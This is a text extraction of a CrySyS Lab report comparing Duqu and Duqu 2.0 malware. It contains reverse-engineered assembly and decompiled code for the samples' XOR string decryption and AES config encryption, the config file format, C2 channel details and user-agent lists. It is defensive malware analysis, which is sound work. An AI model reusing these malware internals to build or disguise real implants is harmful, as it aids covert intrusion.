communication .......................................................................... 29 2.7. DLL imports .................................................................................................................. 33 Indicators of Compromise ................................................................................................... 34 3.1. Detection based on communications .......................................................................... 34 3.2. Yara rules to identify .................................................................................................... 36 Conclusion ........................................................................................................................... 37 References ........................................................................................................................... 37 Contact Information ............................................................................................................ 39 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 1. Introduction Stuxnet is probably the most well-known malware of our times. Its fame stems from the facts that it targeted a very specific industrial facility, namely a uranium enrichment plant in Iran, it aimed at physical destruction of uranium centrifuges, and it apparently accomplished its mission successfully. In addition to all these characteristics, IT security experts also appreciate its technical sophistication and the zero-day exploits that it used. Stuxnet was also an alarm to the developed world: it shed light on the capabilities of advanced attackers, and at the same time, on the numerous weaknesses of our computing infrastructure. Putting these two together, people started to feel hopelessly vulnerable. Yet, unfortunately, Stuxnet is not a unique example for a highly sophisticated targeted threat, but there are numerous other pieces of malware of similar kind, including Duqu, Flame, Regin, etc. Among those, Duqu is particularly interesting, not only because we discovered it back in 2011, but because our analysis pointed out that - while Duqu's objective is different - it has very strong similarities to Stuxnet in terms of architecture, code, and methods to achieve stealthiness. Today, it is widely believed within the IT security community that Duqu was created by the same attackers who created Stuxnet. And now we have a new member of the same family! Last month, we received interesting samples from Kaspersky Lab with a hint that they might be related to the Duqu samples of 2011; however, these new samples are from 2014. Our common understanding was that it would be interesting to figure out whether this new threat is indeed related to the old Duqu attack, and we in the CrySyS Lab should try to focus our analysis efforts on answering this question. It is important to emphasize that we did our analysis independently from Kaspersky Lab: we did not read their preliminary report and they did not share any of their findings with us (apart from the samples that we received from them). The analysis results performed by Kaspersky Lab can be read in the following report: https://securelist.com/blog/research/70504/the-mystery-of-duqu2-0-a-sophisticated-cyberespionage-actor-returns/ Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu In this report, we present the results of our comparative analysis of the old version of Duqu and the new version, codenamed Duqu 2.0 . We concentrate on the description of the relevant similarities and differences we have found between the two malware samples. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 1.1. Hashes of the analyzed samples In the table below, one can see the MD5 fingerprints of the two samples we have examined during our initial analysis: Sample hashes (MD5) Information c7c647a14cb1b8bc141b089775130834 main module 3f52ea949f2bd98f1e6ee4ea1320e80d main module Table 1 Hashes (MD5) of the samples we have analyzed The first module will be referenced in this document with the name c7c647 , and the second with the name 3f52ea according to the prefix of their MD5 hashes. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 2. Similarities and differences In the following chapter, we will discuss the most conspicuous similarities and differences we have found between the main modules of Duqu and Duqu 2.0. 2.1. General details Both the two main modules of Duqu 2.0 we have analyzed ( c7c647 and 3f52ea ) has 6 export functions which can be seen in the following figure: Figure 1 Structure of the first sample ( 3f52ea 6 export functions Figure 2 Structure of the second sample ( c7c647 6 export functions Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu The new sample (both versions) is one big executable file that is linked by multiple modules. The original Duqu had a main module that was divided into two sub-modules: an outside layer and an internal part. In one version, the internal part was stored in a specific compressed format, while in another version, which we investigated at a Duqu victim, it was stored in cleartext in a resource data section of the main executable. The Duqu 2.0 version we investigated is different: everything is incorporated in the main executable, but there are still visible marks showing that the malware is linked/compiled from multiple different parts, modules. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 2.2. String decryption Some of the strings in Duqu 2.0 are obfuscated by XOR-based encryption. The actual routine used is printed below: .text:10012F6D test ecx, ecx .text:10012F6F short loc_10012F77 .text:10012F71 eax, eax .text:10012F73 [edx], ax .text:10012F76 retn .text:10012F77 ; -------------------------------------------.text:10012F77 .text:10012F77 loc_10012F77: .text:10012F77 eax, [ecx] .text:10012F79 push .text:10012F7A push .text:10012F7B edi, 86F186F1h .text:10012F80 esi, esi .text:10012F82 eax, edi .text:10012F84 [edx], eax .text:10012F86 ax, si .text:10012F89 short loc_10012FA2 .text:10012F8B ecx, edx .text:10012F8D .text:10012F8D loc_10012F8D: .text:10012F8D [edx+2], si .text:10012F91 short loc_10012FA2 .text:10012F93 edx, 4 .text:10012F96 eax, [ecx+edx] .text:10012F99 eax, edi .text:10012F9B [edx], eax .text:10012F9D ax, si .text:10012FA0 short loc_10012F8D Sample 1 String decryption in Duqu 2.0 (assembly view) Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu The decompiled version of the above assembly code can be seen in the following sample: unsigned int __fastcall xor_sub_10012F6D(int encrstr, int a2) unsigned int result; // eax@2 int v3; // ecx@4 if ( encrstr ) result = *(_DWORD *)encrstr ^ 0x86F186F1; *(_DWORD *)a2 = result; if ( (_WORD)result ) v3 = encrstr - a2; if ( !*(_WORD *)(a2 + 2) ) break; a2 += 4; result = *(_DWORD *)(v3 + a2) ^ 0x86F186F1; *(_DWORD *)a2 = result; while ( (_WORD)result ); else result = 0; *(_WORD *)a2 = 0; return result; Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Sample 2 String decryptor from Duqu 2.0 (2014) The above string decryptor routine is a simple XOR decoder. It simply XORs consecutive 4-byte blocks of the encrypted string buffer, given by its pointer in the first parameter of the function, with a fixed 4-byte key ( 0x86F186F1 ). After the decryption of all consecutive 4byte blocks, the actual cleartext block is stored within the next 4 bytes of the output buffer, pointed by parameter . The decrypted (cleartext) string is terminated with a character, and if the decryptor cycle reaches the end of the (cleartext) string, the cleartext string will be pointed by the address stored in output argument A closer look at the above C code reveals that the string decryptor routine actually has two parameters: encrstr and . First, the decryptor function checks if the input buffer (the pointer of the encrypted string) points to a valid memory area (i.e., it does not contain NULL value). After that, the first 4 bytes of the encrypted string buffer is XORed with the key 0x86F186F1 and the result of the XOR operation is stored in variable result . The first DWORD (first 4 bytes) of the output buffer a2 is then populated by this resulting value (*(_DWORD *)a2 = result;). Therefore, the first 4 bytes of the output buffer will contain the first 4 bytes of the cleartext string. If the first two bytes (first WORD) of the current value stored in variable result contain characters, the original cleartext string was an empty string and the resulting output buffer will be populated by a zero value, stored on 2 bytes. If the first half of the actual decrypted block ( result variable) contains something else, the decryptor routine checks the second half of the block ( if ( !*(_WORD *)(a2 + 2) ) ). If this WORD value is NULL, then decryption will be ended and the output buffer will contain only one Unicode character with two closing bytes. If the first decrypted block doens t contain zero character (generally this is the case), then the decryption cycle continues with the next 4-byte encrypted block. The pointer of the output buffer is incremeted by 4 bytes to be able to store the next cleartext block ( a2 += 4; After that, the following 4-byte block of the ciphertext will be decrypted with the fixed decryption key ( 0x86F186F1 ). The result is then stored within the next 4 bytes of the output buffer. Now, the output buffer contains 2 blocks of the cleartext string. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu The condition of the cycle checks if the decryption reached its end by checking the first half of the current decrypted block. If it did not reached the end, then the cycle continues with the decryption of the next input blocks, as described above. Before the decryption of each 4-byte ciphertext block, the routine also checks the second half of the previous cleartext block to decide whether the decoded string is ended or not. The original Duqu used a very similar string decryption routine, which we printed in the following figure below. We can see that this routine is an exact copy of the previously discussed routine (variable is analogous to encrstr argument). The only difference between the Duqu 2.0 and Duqu string decryptor routines is that the XOR keys differ (in Duqu, the key is 0xB31FB31F We can also see that the decompiled code of Duqu contains the decryptor routine in a more compact manner (within a loop instead of a while ), but the two routines are essentially the same. For example, the two boundary checks in the Duqu 2.0 routine ( if ( !*(_WORD *)(a2 + 2) ) and while ( (_WORD)result ); ) are analogous to the boundary check at the end of the loop in the Duqu routine ( if ( !(_WORD)v4 || !*(_WORD *)(result + 2) ) ). Similarly, the increment operation within the head of the for loop in the Duqu sample ( result += 4 ) is analogous to the increment operation a2 += 4; in the Duqu 2.0 sample. int __cdecl b31f_decryptor_100020E7(int a1, int a2) _DWORD *v2; // edx@1 int result; // eax@2 unsigned int v4; // edi@6 v2 = (_DWORD *)a1; if ( a1 ) for ( result = a2; ; result += 4 ) v4 = *v2 ^ 0xB31FB31F; *(_DWORD *)result = v4; Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu if ( !(_WORD)v4 || !*(_WORD *)(result + 2) ) break; ++v2; else result = 0; *(_WORD *)a2 = 0; return result; Sample 3 String decryptor from original Duqu (from cmi4432.pnf file) Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 2.3. AES encryption of the configuration file The analyzed main module of Duqu 2.0 and also the old Duqu sample reads configuration information from a special file. This configuration file is encrypted using the AES block cipher in CBC mode with a CTS-like (Ciphertext Stealing) encryption of the last two cleartext blocks. The format of the configuration file will be discussed in details in the next chapter. Before the encryption of the configuration file, an AES wrapper object is created. This C++ object represents the context (parameters) of the encryption. Therefore, it also stores the initialization vector (IV) of the encryption, the key of the cipher and the data to be encrypted. The structure of this object s class can be seen in the upper part of the next screenshot: Figure 3 Attributes of the AES wrapper class and an AES object As we can see, the allocated memory area of an instance of the aeswrapper structure (class) starts with a 16 bytes (128 bits) IV value (of course, the size of the IV equals the size of an AES input block). It is followed by a 516-byte buffer (or other unused smaller attributes) which can store the encryption key of the AES cipher. Size of this encryption key can be either 128, 192 or 256 bits (16, 24 or 32 bytes). The last 4 bytes of the aeswrapper structure contains the pointer to the data to be encrypted. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu In addition to the attributes (IV, encryption key, pointer to a data buffer), the aeswrapper class also contains methods. The most important methods are the encrypt and initialize functions. As the name shows, the initialize method initializes the context (parameters) of the encryption, therefore it sets the IV, key and data members of the aeswrapper object. The IV is generated by hand , but the key is prepared from an initial key using the prepare_key function. The encrypt method encrypts the data in the modified CBC-CTSlike mode. The method uses an AES encryptor function. The nth_block method of the class gives back a pointer to the n-th block of the data to be encrypted. Finally, the aeswrapper class uses the last_block function to perform the CTS-like encryption mechanism at the end. The function gives back a pointer not to the last partial (smaller than 16 bytes) input block, but to the last 16 bytes of the input data buffer. The implementation of AES prepare_key and encrypt methods are presumably copied from function libraries. The figure above shows the structures (structures of class instances) which we identified and which are related to the encryption routine and the AES initialization, and the putative attributes of these structures (classes). Using these structures, the disassembled code can be more readable. There is another structure in addition to the aeswrapper class called on the screenshot above. An instance of this class represents an AES encryptor object. It has probably 3 attributes: key_schedule, precomputed and iteration_count. In the following table, we can see the AES initialization routine (of the configuration file encryption) of the old Duqu (on the left) and the new Duqu 2.0 sample (on the right) at assembly code level. The decompiled code of the initialization function (for both malware samples) can be seen in figure Sample 6. The AES initialization function initializes the mentioned aeswrapper object, it sets the data buffer, prepares the encryption key, and finally, generates the IV based on the magic constant. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Duqu netp routine Duqu 2.0 c7c64 routine seg000:0002EE95 sub_2EE95 proc near ; CODE XREF: sub_2D0A4+8Cp seg000:0002EE95 ; sub_2EE50+36p seg000:0002EE95 seg000:0002EE95 var_20 = byte ptr -20h seg000:0002EE95 seg000:0002EE95 push ebp seg000:0002EE96 mov ebp, esp seg000:0002EE98 sub esp, 20h seg000:0002EE9B push esi seg000:0002EE9C push edi seg000:0002EE9D mov [ebx+214h], eax seg000:0002EEA3 push 8 seg000:0002EEA5 pop ecx seg000:0002EEA6 lea eax, [ebp+var_20] seg000:0002EEA9 push eax seg000:0002EEAA lea eax, [ebx+10h] seg000:0002EEAD mov esi, 10034600h seg000:0002EEB2 lea edi, [ebp+var_20] seg000:0002EEB5 push eax seg000:0002EEB6 rep movsd seg000:0002EEB8 call AES1_sub_2F9B1 seg000:0002EEBD pop ecx seg000:0002EEBE pop ecx seg000:0002EEBF pop edi seg000:0002EEC0 xor eax, eax seg000:0002EEC2 pop esi seg000:0002EEC3 seg000:0002EEC3 loc_2EEC3: ; CODE XREF: sub_2EE95+3Dj seg000:0002EEC3 mov ecx, eax seg000:0002EEC5 xor ecx, 0DEADBABEh seg000:0002EECB mov [ebx+eax*4], ecx seg000:0002EECE inc eax seg000:0002EECF cmp eax, 4 seg000:0002EED2 jb short loc_2EEC3 seg000:0002EED4 mov eax, ebx seg000:0002EED6 leave seg000:0002EED7 retn seg000:0002EED7 sub_2EE95 endp .text:1001551D sub_1001551D proc near ; CODE XREF: sub_10007A22+28p .text:1001551D ; sub_10007CB7+121p .text:1001551D .text:1001551D var_20 = byte ptr -20h .text:1001551D arg_0 = dword ptr 8 .text:1001551D arg_4 = dword ptr 0Ch .text:1001551D .text:1001551D push ebp .text:1001551E mov ebp, esp .text:10015520 mov eax, [ebp+arg_0] .text:10015523 lea edx, [ebp+var_20] .text:10015526 sub esp, 20h .text:10015529 push ebx .text:1001552A push esi .text:1001552B mov esi, [ebp+arg_4] .text:1001552E mov ebx, ecx .text:10015530 push edi .text:10015531 push 8 .text:10015533 pop ecx .text:10015534 mov [ebx+214h], eax .text:1001553A lea edi, [ebp+var_20] .text:1001553D rep movsd .text:1001553F push 100h .text:10015544 lea ecx, [ebx+10h] .text:10015547 call AES_1_sub_1001690A .text:1001554C pop ecx .text:1001554D xor ecx, ecx .text:1001554F .text:1001554F loc_1001554F: ; CODE XREF: sub_1001551D+40j .text:1001554F mov eax, ecx .text:10015551 xor eax, 248561EFh ; MAGIC! .text:10015556 mov [ebx+ecx*4], eax .text:10015559 inc ecx .text:1001555A cmp ecx, 4 .text:1001555D jb short loc_1001554F .text:1001555F pop edi .text:10015560 pop esi .text:10015561 mov eax, ebx .text:10015563 pop ebx .text:10015564 mov esp, ebp .text:10015566 pop ebp .text:10015567 retn 0Ch .text:10015567 sub_1001551D endp Sample 4 IV generation routine comparison (assembly view) magic constants Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu In both cases, the highlighted part of the assembly code corresponds to the highlighted part of the initialization routines in the decompiled versions of the code, which can be seen in figure Sample 6. The only difference between the highlighted parts is the values of the magic constants ( 0xDEADBABE vs. 0x248561EF ) which are used for the generation of the 128-bit initialization vectors. The mentioned AES initialization routines (and also the common encryption function) will be discussed later in this section in more details. We also reverse engineered the encryption routine used by Duqu 2.0, which is illustrated in the following block diagram: Figure 4 The applied config file encryption method used by the main module of Duqu 2.0 (and by the old Duqu sample) Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu With the exception of the last two input blocks, consecutive blocks of the cleartext data are encrypted with the AES encryption algorithm in CBC mode. Accordingly, the first block of the input data ( P[0] ) is XORed with a fixed initialization vector (named as Fixed IV in the figure above). This 128-bit initialization vector (IV) differs between the old Duqu and the new Duqu 2.0 samples. The value of this IV is generated from a magic constant, as it can be seen in the highlighted parts of the previous assembly code. As this magic constant is different in the old and new samples, the generated IV will also be different. The result of the previously mentioned XOR operation gives the first input block of the AES encryption algorithm ( AES-256 is in use). The number 256 means that the AES algorithm has 256-bit key size. The block size of the AES cipher is constant 128 bits (16 bytes). E[0] is the first output of the block cipher, so it will be the first encrypted block ( F[0] Output of the block cipher ( E[0] ) is then XORed with the second input block ( P[1] ), and the resulting block will be encrypted with AES-256. This procedure continues until the encryption of the last but first block of the cleartext data. If the size of the input data is an integer multiple of the block size of AES (i.e., 128 bits), then the remaining last two blocks of the cleartext are encrypted in the same manner as the previous input blocks. So, in this case, the whole encryption routine matches a simple CBC mode encryption. However, if the size of the input data is not an exact multiple of the AES block size, the last partial block of the input data needs padding to be completed to a full block. In case of Duqu 2.0, the developers of the malware didn t use padding in a traditional way. Instead, they use a CTS-like (Ciphertext Stealing) method. The essence of the method used by the encryption routine is that a part of the last but first block of the input data is encrypted twice using AES. The last but first block ( P[n-1] ) of the cleartext data is XORed with the previous ciphertext block ( E[n-2] ) and encrypted with AES-256 as previously. The result of this operation is the E[n-1] output block. The E[n-1] output block won t be directly used as the (n-1)st ciphertext block. Instead, the output E[n-1] is splitted into two distinct parts: F[n-1] and another part which is then fed into the AES encryptor again. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu The last cleartext partial block ( P[n] which has size less than 16 bytes is completed from its beginning to get a full AES input block. The data used for completing the last partial block is taken from the end of the previous AES output block ( E[n-1] ). The resulting block will be fed into the AES-256 cipher in the last step of the encryption process. The output of the last invocation of the AES cipher will be the last ciphertext block ( F[n] ). The output of the last but first invocation of the AES encryptor ( E[n-1] ) is split into two parts, and the first part of size size_of_the_last_cleartext_block will be the (n-1)st ciphertext block ( F[n1] The old Duqu samples used exactly the same encryption method. The decompiled code of the AES encryptor of Duqu can be seen in the following sample, and one can see that this code implements the method we have just explained and illustrated in the block diagram of Figure void aeswrapper::encrypt(aeswrapper *this) unsigned __int8 *cursor, *first_block, *prev_encrypted_block, *current_block, *last_block; int i, j, offset_to_iv, offset_to_previous_block; // First block cursor = aeswrapper::nth_block(this, 0); offset_to_iv = (char *)this - (char *)cursor; i = 16; *cursor ^= cursor[offset_to_iv]; ++cursor; --i; while ( i ); // Buffer overflow if data // is under 16 bytes first_block = aeswrapper::nth_block(this, 0); AES::encrypt(&this->aes, first_block, first_block); // Other full blocks j = 1; if ((this->data->vtable->length(this->data) & 0xFFFFFFF0) > 0x10) Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu prev_encrypted_block = aeswrapper::nth_block(this, j - 1); cursor = aeswrapper::nth_block(this, j); offset_to_previous_block = prev_encrypted_block - cursor; i = 16; *cursor ^= cursor[offset_to_previous_block]; ++cursor; --i; while ( i ); current_block = aeswrapper::nth_block(this, j); AES::encrypt(&this->aes, current_block, current_block); ++j; while ( j < this->data->vtable->length(this->data) >> 4 ); // Last block if ( this->data->vtable->length(this->data) & 0xF ) last_block = aeswrapper::last_block(this); AES::encrypt(&this->aes, last_block, last_block); // Buffer underwrite // if data is under 16 // bytes Sample 5 Main file encryption routine (same in the new and old sample) with implementation bugs highlighted (red comments) The next table compares the AES initialization routines of the old Duqu sample (upper part of the table) and the main module of Duqu 2.0 (lower part of the table). Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu First, the initialization routine copies the pointer of the input data buffer into the data member of the aeswrapper object. The routine takes this pointer as its second parameter. The first parameter is the pointer (reference) of the object instance, since in C++, the first (hidden) parameter of a (non-static) class method is always the pointer of the object, or in other words, the this pointer. In case of Duqu 2.0, the routine has a third parameter, the pointer to the buffer containing the key. After that, the content of the buffer (which is a global buffer in the first case) is copied into the local key_ buffer in both cases. Then the prepare_key method of the AES object prepares the final encryption key based on this key, and feeds it into the aeswrapper object. Invocation of the prepare_key method can also be seen in the assembly view (see Sample 4.), the method is referred by the name AES1_sub_2F9B1 in case of Duqu and AES_1_sub_1001690A in case of Duqu 2.0. In the Duqu 2.0 case, the function has one more parameter, as this can also be seen in the assembly view, and the length of the AES key is chosen as 256 bits. Finally, the remaining part of the code initializes the IV member of aeswrapper object. Every byte of the IV is generated by XORing the index of the actual byte with a magic constant 0xDEADBABE and 0x248561EF , respectively, in the two cases). Byte index starts from zero. aeswrapper *aeswrapper::initialize(aeswrapper *this, buffer *data) unsigned int i; char key_[32]; this->data = data; // Key is a constant global variable with fixed value qmemcpy(key_, key, sizeof(key_)); // AES::prepare_key assumes that the key is always 256 bits AES::prepare_key(&this->aes, key_); i = 0; Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu this->iv[i] = i ^ 0xDEADBABE; ++i; // Magic value while ( i < 4 ); return this; aeswrapper *aeswrapper::initialize(aeswrapper *this, buffer *data, char *key unsigned int i; char key_[32]; this->data = data; // Key is an argument qmemcpy(key_, key, sizeof(key_)); // AES::prepare_key takes a key_length argument, supports 128, 192, 256 AES::prepare_key(&this->aes, key_, 256); i = 0; this->iv[i] = i ^ 0x248561EF; ++i; while ( i < 4 ); // Magic value return this; Sample 6 Old Duqu and new Duqu 2.0 encryption initialization routine with differences highlighted (red comments) As we can see, there are only three small differences between the routines: the magic constants used by the IV generation, the fact that in Duqu the key is a constant global variable with fixed value while in Duqu 2.0 it is an argument of the initialization function, and finally, the possible length of the key. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu In case of Duqu, the prepare_key function assumes that the key is always 256 bits, while in case of Duqu 2.0, the prepare_key function takes the key length as an argument. Key length can be 128, 192 or 256 bits. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 2.4. Format of the (encrypted) configuration file Under the encryption layer (which is identical in the new and old samples as described in the previous section), the configuration file format of the new Duqu 2.0 samples is very similar to the old Duqu config file format. For an overview, see Figure 5 below. Figure 5 File format found in Duqu (first diagram) and Duqu 2.0 (second diagram) (Rectangles always denote little endian 4 byte integers if not stated otherwise) The format is designed to hold key-value pairs. The keys are always 4-byte long, and the values can be of arbitrary size. We believe that the keys are timestamps and the values are configuration entries, although the file format could hold any other similarly structured information (e.g. configurations). The old file format begins with 4 bytes whose value is undefined. In the serialization process, it is read from an uninitialized buffer, and it is ignored in the deserialization process. The new file format does not have such a beginning byte sequence. The main part of the file format is surrounded by 4 signature bytes at the beginning and at the end. The byte sequence in the old Duqu file format is 0x839172FF, and in the new Duqu 2.0 version, it is 0x7749CB4D. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu In both cases, the next integer indicates the number of entries, followed by the entries themselves. Each entry begins with a 4-byte key, and then the value. In the new format, the value always begins with 13 bytes (that can be logically divided into four 4 byte integers and a 1 byte value: 4+4+1+4+4), but in the old format, this is missing. Furthermore, the value contains a variable size part in both formats. This is a length prefixed buffer that can hold arbitrary data. In essence, the only difference between the Duqu and the Duqu 2.0 config file formats is the presence of the undefined 4 bytes at the beginning of the file in the old version, and the presence of the 13 additional value bytes in the new version. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 2.5. Logging functions ve identified a characteristic logging function that is present in both Duqu and Duqu 2.0, and is used extensively in the networking (mainly HTTP handling) part of the code. The logging function itself is identical, and the data structure used for storing log entries is very similar. The Duqu version of the data structure has embedded function pointers, while the Duqu 2.0 version uses a virtual function table like structure. The main difference from a C++ virtual function table is that the pointer to the table is the last field of the associated structure instead of the first field (see Figure 6). In general, change in the coding style can be seen all over the code. While Duqu uses object oriented style that is similar, but not identical to what C++ compilers do, Duqu 2.0 moved mainly to real C++, but there are still deviations from the standard C++ style (like the previously function table). Figure 6 Log entry structure and the associated virtual function table in Duqu and Duqu 2.0 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Both the Duqu and Duqu 2.0 avoids storing the messages logged through this function. In both codebase, a handle_log_entry function is called after creating the log entry structure, but this function throws the object away (frees the memory) and does not print or save it. The authors probably used C/C++ macros to avoid detailed logging in release builds, but in this case we still see the logging function invocation. In this case, the macro was probably placed in the function that should have printed the log message (handle_log_entry), and since this is a virtual function, the compiler could not optimize out the function invocations directly. The logging function is called equal times in the Duqu and the Duqu 2.0 samples, and the invocation is always very similar (see Figure 7). The arguments are usually not strings describing the event directly, but 4 byte magic numbers. The logging function is invoked equal times, and the magic numbers are almost always identical in Duqu and Duqu 2.0. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Figure 7 References to the logger function in Duqu and Duqu 2.0, and one of the invocations Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 2.6. Command & Control communication The network communication methods used by Duqu 2.0 are described in the following list. SocketServer1: In export function nr1, if in the config the "startSockServer" parameter is set, it will start a server accordingly SocketServer2: Binds between ports 17000 and 17100, can be configured to be client or server GifServer: With Custom HTTP Server implementation, possibly based on SocketServer2 PipeComm: PIPE or IPC communication, customizable network communication HttpClient: WinHTTP-based, simple client, uses "COUNTRY=" in cookie parameters, (standard HTTP client) Table 2 Network communication methods used by Duqu 2.0 Duqu has used a very unique user agent string when communicating over HTTP: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.9) Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu In contrast, Duqu 2.0 chooses user agent string randomly from a large set of often used values listed in Sample 7. The following list shows the browser agent strings found in Duqu 2.0: Mozilla/5.0 (Windows 5.1) Chrome/16.0.897.0 Safari/535.6 AppleWebKit/535.6 (KHTML, like Gecko) Mozilla/5.0 (compatible; chromeframe/11.0.696.57) MSIE 9.0; Windows 6.1; Trident/5.0; Mozilla/5.0 (compatible; chromeframe/11.0.696.57) MSIE 9.0; Windows 6.0; Trident/5.0; Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.8.36217; WOW64; en-US) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/5.0 (Windows Firefox/15.0.2 6.2; WOW64; rv:15.0) Gecko/20120910144328 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/6.0 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; Media Center PC 4.0; SLCC1; .NET CLR 3.0.04320) Mozilla/5.0 (compatible; FunWebProducts) MSIE 9.0; Windows 6.1; Trident/5.0; Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.15 (KHTML, like Gecko) Chrome/24.0.1295.0 Safari/537.15 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0) Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0 Mozilla/5.0 (Windows 6.2) Chrome/22.0.1229.94 Safari/537.4 AppleWebKit/537.4 (KHTML, like Gecko) Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:5.0) Gecko/20110619 Firefox/5.0 Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322) Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4325) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.1; SV1; .NET CLR 2.8.52393; WOW64; en-US) Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.77 Safari/535.7ad-imcjapan-syosyaman-xkgi3lqg03!wgz Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; FDM; .NET CLR 1.1.4322) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET CLR 1.1.4322; .NET4.0C; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.5; QQDownload 534; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322) Mozilla/5.0 (compatible; chromeframe/10.0.648.205 MSIE 9.0; Windows 6.1; Trident/5.0) Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2 Mozilla/5.0 (Windows NT 6.1; Chrome/17.0.963.66 Safari/535.11 WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Mozilla/5.0 (Windows NT 6.0; Chrome/17.0.963.56 Safari/535.11 WOW64) AppleWebKit/535.11 (KHTML, like Gecko) like Gecko) Mozilla/5.0 (Windows 6.2) Chrome/23.0.1271.26 Safari/537.11 AppleWebKit/537.11 (KHTML, Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Mozilla/5.0 (Windows Firefox/5.0.1 6.1; rv:5.0.1.6) Gecko/20110501 Firefox/5.0.1 Mozilla/5.0 (Windows NT 6.1.1; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727) Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110612 Firefox/6.0a2 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0 Mozilla/5.0 (Windows; Firefox/15.0a1 Windows 5.1; en-US; rv:1.9.1.16) Gecko/20120427 Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/5.0 (Windows NT 6.2; WOW64) Chrome/23.0.1271.17 Safari/537.11 AppleWebKit/537.11 (KHTML, like Gecko) Mozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20100101 Firefox/6.0 FirePHP/0.6 Mozilla/4.0 (MSIE 6.0; Windows NT 5.1) Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1 Mozilla/5.0 (Windows NT 6.1; 